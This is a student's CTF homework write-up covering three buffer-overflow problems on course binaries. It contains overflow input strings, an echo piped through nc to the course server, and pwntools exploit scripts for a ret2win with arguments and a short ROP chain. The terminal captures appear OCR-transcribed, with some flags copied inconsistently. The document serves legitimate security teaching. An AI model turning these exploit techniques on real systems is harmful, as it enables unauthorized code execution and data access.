HOMEWORK 7

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Problem ID	Captured Flag	Steps
P1	FSUCTF{g00d_st4rt}	In this problem there was buffer overflow attack. So I had to put input that exceeded the limit and caused the buffer overflow.
P2	FSUctf{533d3d_rY3_8r34D}	In this problem I wrote a python code based for the flag since there were two addresses mentioned in the provided C code: 0xCAFEF00D and 0xF00DF00D that made the input string.
Р3	FSUctf{7H3r35_1000_W4Y5_7O_C47_4_fl4G}	In this problem I wrote a python code to execute the attack since there were 3 functions cat and do your thing so I made payroll for it in my code. And that's how I got the flag.

In this problem we are provided with 2 files one vuln and second a C file vuln.c

So first in order to run the vuln file I ran the chmod command.

Then I ran the program which asked for a string from which I figured out that buffer overflow can be performed here until I reach the breaking point where it overflows and becomes vulnerable to jump to the address where I can get the flag.

So typed in all the letters from A to Z and again typed it and later gave a few hex values along with echo and it worked.

Flag: FSUCTF{g00d st4rt}

```
File Actions Edit View Help

(kali@kali)-[~/P]
$ chmod 755 ./vuln

(kali@kali)-[~/P]
$ ls -l
total 20
-rwxr-xr-x 1 kali kali 15704 Mar 19 15:29 vuln
-rw-r-r- 1 kali kali 769 Mar 19 15:29 vuln.c

(kali@kali)-[~/P]
$ ./vuln
Please enter your string:
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQR\xf6\x91\x04\x08
Okay, time to return... Fingers Crossed... Jumping to 0×3666785c
zsh: segmentation fault ./vuln
```

```
kali@kali: ~/P
File Actions Edit View Help
 —(kali⊕kali)-[~/P]
—$ chmod 755 ./vuln
 .
---(kali⊛kali)-[~/P]
--$ ls -l
total 20
-rwxr-xr-x 1 kali kali 15704 Mar 19 15:29 vuln
-rw-r--r-- 1 kali kali 769 Mar 19 15:29 vuln.c
<mark>__(kali⊛kali</mark>)-[~/P]
$ ./vuln
Please enter your string:
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQR\xf6\x91\x04\x08
Okay, time to return... Fingers Crossed... Jumping to 0×3666785c
zsh: segmentation fault ./vuln
 ——(kali⊕ kali)-[~/P]
—$ echo "ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQR\xf6\x91\x04\x08 " | nc ctf.cs.fsu.edu 17770
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0×80491f6
FSUCTF{g00d_st4rt}
 —(kali⊕kali)-[~/P]
```

In this problem we have are again provided with 2 files vuln and vuln.c

I went through the c program

- 1. The program defines a buffer size BUFSIZE of 100 bytes and a flag size FLAGSIZE of 64 bytes.
- 2. There is a function win() that reads the flag from a file named "flag.txt" and prints it. However, to trigger the printing of the flag, the function requires two arguments (arg1 and arg2) with specific values (0xCAFEF00D and 0xF00DF00D respectively).
- 3. The vuln() function uses gets() to read input from the user into a buffer of size BUFSIZE. This is dangerous because gets() does not perform bounds checking and can lead to a buffer overflow.
- 4. The main() function sets up the environment and calls vuln() to prompt the user for input.

To exploit this program, I had to provide input larger than the buffer size (BUFSIZE) in order to overflow the buffer and overwrite the return address on the stack. So I tried writing a python program to modify the arguments passed to win() such that the flag is printed.

```
from pwn import *

HOST = "ctf.cs.fsu.edu"

PORT = 18880

io = remote(HOST, PORT)

payload = flat({

112: 0x08049296,

120: 0xcafef00d,

124: 0xf00df00d

})

io.sendline(payload)

io.interactive()

And after running the program I got the flag: FSUctf{533d3d rY3 8r34D}
```

```
—(kali⊕kali)-[~/P]
-$ chmod 755 ./vuln
  -(kali⊛kali)-[~/P]
-rw-r--r-- 1 kali kali
                          257 Mar 21 12:41 file3.py
-rwxr-xr-x 1 kali kali 202 Mar 21 12:41 files.p
-rwxr-xr-x 1 kali kali 16296 Mar 19 15:56 roplon
-rw-r--r-- 1 kali kali 969 Mar 19 15:55 roplon.c
 rwxr-xr-x 1 kali kali 15808 Mar 21 12:46 vuln
 rw-r--r-- 1 kali kali 781 Mar 21 12:46 vuln.c
(kali⊕kali)-[~/P]
$./vuln
Please enter your string:
ashakknbjdkdkmngahsgyjdjknkcdk
ashakknbjdkdkmngahsgyjdjknkcdk
   (kali@kali)-[~/P
$ python file.py
[+] Opening connection to ctf.cs.fsu.edu on port 18880: Done
 *] Switching to interactive mode
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab\x96\x92\xea
FSUctf{533d3d_rY3_8r34D}$ [*] Got EOF while reading in interactive
```

Q3.

- 1. The program defines a global array command_buf of size 128 to store the command string.
- 2. The copy_command_to_buf function copies the provided command string to the command_buf array using the strcpy function.
- 3. There are three functions: cat_flag, ls, and shasum_flag, each of which sets the appropriate command string using copy_command_to_buf.
- 4. The do_the_thing function takes a command string as input and executes it using the system function.
- 5. In the main function, the program repeatedly prompts the user to choose a command from the menu. It reads the user's choice using fgets, checks the input, and calls the corresponding function based on the choice.
- 6. If the user selects option 1, it calls ls to set the command string to ls -lh flag.txt and then executes the command using do_the_thing.
- 7. If the user selects option 2, it calls shasum_flag to set the command string to shasum flag.txt and then executes the command using do_the_thing.
- 8. If the user enters anything other than 1 or 2, the program breaks out of the loop, terminating the program.

So here is the program to get the flag:

```
from pwn import *

io = remote("ctf.cs.fsu.edu", 19990)

payload = b'a' * 24 # Padding to reach the return address

payload += p64(0x004011c0) # Address of cat flag function
```

```
payload += p64(0x0040122c) # Address of do_the_thing function
payload += b'a' * 8 # Padding between function pointers and argument
payload += p64(0x00404080) # Argument for do_the_thing() function
print(payload)
io.sendline(payload)
io.interactive()
```

And that is how I got the flag: FSUctf{7H3r35 1000 W4Y5 70 C47 4 fl4G}